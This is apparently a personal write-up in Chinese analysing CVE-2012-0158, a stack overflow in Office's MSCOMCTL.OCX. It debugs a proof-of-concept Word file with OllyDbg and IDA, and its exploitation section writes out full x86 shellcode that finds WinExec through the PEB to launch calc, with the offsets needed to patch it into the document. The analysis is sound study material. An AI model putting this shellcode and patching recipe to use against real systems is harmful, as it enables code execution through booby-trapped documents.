CVE-2012-0158 分析
目錄
CVE-2012-0158 分析&利用
分析思路:通過word文件樣本除錯分析漏洞觸發處
1、實驗環境
- WINDOWS 7 SP1 32位系統
- Microsoft office word 2007 (12.0.4518.1014)
- IDA Pro 7.0
- OD吾愛破解專用版
- WinHex
2、下載poc樣本
POC樣本是使用的是看雪論壇一篇CVE-2012-0158分析文章中提供的POC樣本。
下載好了sample.doc之後,使用word 2007開啟會彈出一個計算器:
彈出計算器後,word立即關閉。並且大小從原來的134kb變為了12kb,再次開啟該文件:
出現警告,繼續開啟,發現樣本再也無法彈出計算器了。這要麼是word對其進行了處理,要麼就是樣本自身進行了”自我廋身“。
因為樣本的這個特性,所以每次都只有一次除錯分析機會。我提前做好了樣本的備份,每次分析都會使用一個bat檔案,將樣本複製一份來進行分析。從而避免每次都從原網站下載該樣本。
3、除錯並找到漏洞觸發點
既然彈出了計算器,那麼猜測呼叫了WinExec函式。考慮使用OD下API斷點。首先開啟word 2007,使用OD附加到word 2007上。並執行如下操作:
執行了上圖的命令之後就給WinExec函式下了斷點,當程式執行呼叫WinExec函式時將會偵錯程式將會斷下。繼續執行word 2007,使用它開啟sample.doc。OD偵錯程式對WinExec函式下的軟體斷點觸發。此時的堆疊如圖顯示:
額,臥槽,cmdLine引數居然是"C:\User\pc207\a.exe"。我電腦上什麼時候有的這個a.exe啊?於是我跟著這個路徑去看,發現居然真他媽的多出了個a.exe!!!,檢視其出生日期,媽的不就是剛剛嗎???
所以說,這個a.exe應該就是這個sample.doc生出來的。現在大概知道了這個sample.doc執行會在使用者目錄下生出一個a.exe的計算器程式,並且呼叫WinExec函式執行它。
繼續檢視棧,WinExec函式執行完的返回地址為:0x272228,這個地址是很明顯的棧地址空間(使用OD檢視記憶體區段分佈可得出該結論)。於是可以判斷,這是個棧溢位。
那麼我們可以看看0x272228的反彙編:
還真是棧溢位的shellcode的樣子。
那麼怎麼知道在執行這段棧中shellcode之前,程式執行在哪個函式中呢?即到底是在哪個函式中發生的棧溢位呢?1、可以對這段棧下寫入記錄斷點,然後慢慢調。2、檢視現有堆疊中是否還存留一些返回地址資訊。
我運氣比較好,這個樣本留有一些資訊給我。如下圖:
返回到MSCMCTL.275c8A0A ,那就跳過去下個斷點,重新除錯 看看是WinExec的斷點先觸發,還是MSCMCTL.275c8A0A 的斷點先觸發。
再次除錯,發現並不是我想的那樣,是在MSCOMCTL.275c876D中出現的呼叫的WinExec。但是細心的我發現在沒call MSCOMCTL.275c876d之前,棧回溯是可以的,即棧沒有被破壞,但是執行了call MSCOMCTL.275c876d之後棧回溯居然被破壞掉了!!!如下圖,我轉到EBP,發現EBP的值居然為0了:
那麼我繼續單步走,發現就是在執行call MSCOMCTL.275c876d的這個函式裡面,發生的堆疊溢位,並且在最後ret 0x8的時候返回到了0x7ffa4512處(上圖ebp下面哪個就是返回地址),所以MSCOMCTL.275c876d執行了類似memcpy的功能,造成了棧溢位。
而0x7ffa4512處不出意外應該就是:jmp esp
好了,再次重新除錯,我們在執行call MSCOMCTL.275c876d之前看棧回溯,看看執行call MSCOMCTL.275c876d的函式的名字。
可以看到返回地址是0x275e701a,反彙編視窗跟隨到該地址,得到執行call MSCOMCTL.275c876d的函式的名字為:MSCOMCTL.275c89c7
好,現在可以使用我們的神器IDA Pro來分析一下這個函數了。分析模組為C:\windows\system32\MSCOMCTL.OCX 。
4、分析漏洞觸發模組及流程
將其用IDA開啟,定位到MSCOMCTL.275c89c7函式。F5檢視其程式碼:
int __stdcall sub_275C89C7(int a1, BSTR bstrString)
{
BSTR v2; // ebx
int result; // eax
int v4; // esi
int v5; // [esp+Ch] [ebp-14h]
SIZE_T dwBytes; // [esp+14h] [ebp-Ch]
int v7; // [esp+18h] [ebp-8h]
int v8; // [esp+1Ch] [ebp-4h]
v2 = bstrString;
result = sub_275C876D((int)&v5, bstrString, 0xCu);
if ( result >= 0 )
{
if ( v5 == 1784835907 && dwBytes >= 8 )//大於8溢位
{
v4 = sub_275C876D((int)&v7, v2, dwBytes);//這兒發生的棧溢位
if ( v4 >= 0 )
{
if ( !v7 )
goto LABEL_8;
bstrString = 0;
v4 = sub_275C8A59((UINT)&bstrString, (int)v2);
if ( v4 >= 0 )
{
sub_27585BE7(bstrString);
SysFreeString(bstrString);
LABEL_8:
if ( v8 )
v4 = sub_275C8B2B(a1 + 20, v2);
return v4;
}
}
return v4;
}
result = -2147418113;
}
return result;
}
好,下面我給出開啟sample.doc,是上述程式碼的執行流程:
堆疊示意圖:
- 首先執行第12行程式碼,
result = sub_275C876D((int)&v5, bstrString, 0xCu);
,從執行的結果來看這個函式複製了12個位元組的資料到了v5,那麼就會dwbytes也會被影響。執行完這句之後,V5 ="Cobjd",dwbytes=0x8282 - sub_275c876d執行成功返回0,執行到第15行,判斷v5是否為"Cobjd"且dwbytes是否大於等於8。條件滿足!!!
- 繼續執行第17行:
v4 = sub_275C876D((int)&v7, v2, dwBytes);
由上述我們可以猜到,sub_275c876D應該是複製dwBytes個位元組到v7,即複製0x8282個位元組到v7,那麼造成了棧溢位,覆蓋返回地址。從執行結果來看,v7=v8=ebp=0,返回地址指向了jmp esp的地址。且函式返回0。 - 因為v7=0;所以執行第21行
goto LABEL_8;
- 因為v8=0;所以執行第31行
return v4
- 然後就會jmp esp,開始執行攻擊者構造的shellcode了。
你覺得這樣就算分析完了嗎???不行,老子要來提問題了!!!
問題1:不知道你娃注意到沒有該函式前後呼叫了兩次sub_275C876D函式,而且他們的第二個引數都是一樣的!都是引數&bstrString。 什麼你要槓?第二個sub_275C876D的引數不是&v2嗎? 我日,你眼睛瞎了哇!去看第11行!那麼按照猜想,第一次複製了12個位元組,第二次複製0x8282個位元組的時候前12個位元組應該也和複製12個位元組時一樣啊。但是結果是,第二次調sub_275C876D得到的前12個位元組並不是"Cobjd"和0x8282。我日,看來sub_275C876D裡面還是有點鬼的。沒事,老子有IDA pro 7.0 ,虛毛線。上F5!
int __cdecl sub_275C876D(int a1, LPVOID lpMem, SIZE_T dwBytes) { LPVOID v3; // ebx int result; // eax LPVOID v5; // eax int v6; // esi int v7; // [esp+Ch] [ebp-4h] void *lpMema; // [esp+1Ch] [ebp+Ch] v3 = lpMem; result = (*(int (__stdcall **)(LPVOID, int *, signed int, _DWORD))(*(_DWORD *)lpMem + 12))(lpMem, &v7, 4, 0); if ( result >= 0 ) { if ( v7 == dwBytes ) { v5 = HeapAlloc(hHeap, 0, dwBytes); lpMema = v5; if ( v5 ) { v6 = (*(int (__stdcall **)(LPVOID, LPVOID, SIZE_T, _DWORD))(*(_DWORD *)v3 + 12))(v3, v5, dwBytes, 0); if ( v6 >= 0 ) { qmemcpy((void *)a1, lpMema, dwBytes); v6 = (*(int (__stdcall **)(LPVOID, void *, SIZE_T, _DWORD))(*(_DWORD *)v3 + 12))( v3, &unk_27632368, ((dwBytes + 3) & 0xFFFFFFFC) - dwBytes, 0); } HeapFree(hHeap, 0, lpMema); result = v6; } else { result = -2147024882; } } else { result = -2147418113; } } return result; }
看到第11行,第20行,第24行那種呼叫,我就曉得了,這個lpMem即bstrString應該是個類。
我除錯了n遍這個函式,我大致說下這個函式的流程。
- 首先,11行呼叫它這個類的成員函式,從一個buffer中獲取前4個位元組的值存到區域性變數v7中。
- 接著判斷這個v7和我們傳進來的哪個dwbytes相比較,一樣則滿足要求繼續執行。
- 接著第16行,使用HeapAlloc分配dwbytes這麼大的空間v5。
- 分配成功,就又呼叫它這個類的成員函式(和第11行哪個一樣),從結果分析是讀取了dwbytes個位元組到了剛剛使用HeapAlloc分配的v5中。
- 然後就會執行第23行,qmemcpy拷貝dwbytes個位元組的資料到a1,a1即sub_275C876D的第一個引數的地址處。
- 然後第24行處的函式呼叫(和第11行的函式是一個函式)我沒看懂。沒啥影響。哦哦,反正要保證第三個引數為0。
- 然後呼叫HeapFree釋放v5,返回函式。
經過一些列分析我終於頓悟了它這個成員函式的功能。它這個類中有一個buffer,以及一個偏移量offset,而這個buffer它是有格式的(經過我的除錯得出的結論):
1、所以第一次呼叫那個成員函式,獲取4個位元組的資料是長度,然後offset = offset+4
2、判斷資料長度是否和sub_275C876D傳入的dwbytes一致,一致則繼續
3、接著第二次呼叫哪個成員函式,從offset處獲取dwbytes個位元組到HeapAllocate獲取的緩衝區裡面。並offset=offset+dwbytes
4、如果要繼續正確讀取後面的buffer,那麼第三次呼叫那個成員函式的時候,第三個引數要為0。
我想如果我的猜測正確那麼這段buffer就應該是這樣的:
但是!我他媽換了幾個Hex編輯器,搜"Cobj"都沒有搜尋到!搜0x8282也沒有....結果,他媽的,我靈光一閃,找到了答案。wqnmlgb,資料居然都是用字元這種形式存的。。。。所以你要搜8282,就搜Hex: 38323832
你說坑不坑。。。。。
結果不出所料,果然和我想像的buffer格式一模一樣。哈哈哈哈哈哈哈哈。上圖:
稍微排列一下:
問題2:那你娃咋個自己寫一個sample.doc哇。
emmmm,我就是個初入漏洞分析的菜鳥,這是我調的第二個洞,也是第一個office洞。我不清楚啥子COM,ActiveX,OLE,還有VBS,巨集。所以要我自己寫一個那是不可能的。技術還不夠。所以一不做,二不休,我就用這個sample.doc來做。改一改就行了,彈個計算器的shellcode又不是寫不來。下面看我施展我的絕技:偷天換日 神功。
5、漏洞利用
shellcode編寫:最基本的東西我不想過多解釋,直接上程式碼:篇幅有限,沒做ExitProcess
_asm { //int 3 mov eax,fs:[0x30];// peb mov ebx,[eax+0xc]; //peb->Ldr mov esi,[ebx+0x14];//peb->Ldr.Inmemorder lodsd ;//eax="ntdll.dll" xchg eax,esi; lodsd ;//eax="kernel32.dll" mov ebx,[eax+0x10]; //ebx = base address mov edx,[ebx+0x3c]; //DOS->e_ifanew add edx,ebx; // PE header mov edx,[edx+0x78];// edx = offset of EAT add edx,ebx;// EAT mov esi,[edx+0x20]; //Address of Names(RVA) add esi,ebx ;//Name Table xor ecx,ecx ;//index=0 Find_index: inc ecx; lodsd ;//mov eax,[esi] RVA add eax,ebx; cmp dword ptr[eax],0x50746547;//PteG jnz Find_index ; cmp dword ptr[eax+0x4],0x41636f72;//Acor jnz Find_index ; cmp dword ptr[eax+0x8],0x65726464; //erdd jnz Find_index; //get! mov esi,[edx+0x24] ;//AddressOfNameOrdinals RVA add esi,ebx ;//Ord Table mov cx,[esi+ecx*2];//cx = realindex mov esi,[edx+0x1c];//AddressOfFunction RVA add esi,ebx ;// dec ecx;// indx-1 mov edx,[esi+ecx*4]; add edx,ebx;//GetProcAddress real address push 0x00636578;//xec push 0x456E6957;//WinE push esp; push ebx; call edx; push 0; push 0x636c6163;//calc mov edi,esp; push 0; push edi; call eax;
提取shellcode,覆蓋到原來的sample.doc
自己寫個程式來完成這個任務。就是將shellocde 轉成字元儲存到sample.doc的shellcode處(ebp+10h處)的一個c程式。
完成之後是這個效果:
執行我自己的sample.doc截圖如下:
6、總結
這個漏洞是經典的office漏洞,也是經典的棧溢位漏洞。因為沒有pdb檔案,所以分析起來很吃力,也是第二次分析漏洞。emmm,我感覺我猜測的能力有上了一個臺階。中間有些四川話,可能影響閱讀,請不要在意。哦哦,忘了說一句,因為sub_275C876D有個ret 8,所以真正的shellcode應該在ebp+10h處開始。
網上那些分析這個洞的除錯符號不曉得哪兒來的,我沒找到,但是我還是可以分析。
另外,他們沒有分析那個buffer的資料格式,都是直接說那個函式做了複製,但是都沒注意到,兩次呼叫都是一樣的引數。但是,我看到了這點,我分析出來了。(666,自我鼓勵。。)
7、參考資料
1:https://bbs.pediy.com/thread-207638.htm "CVE-2012-0158分析"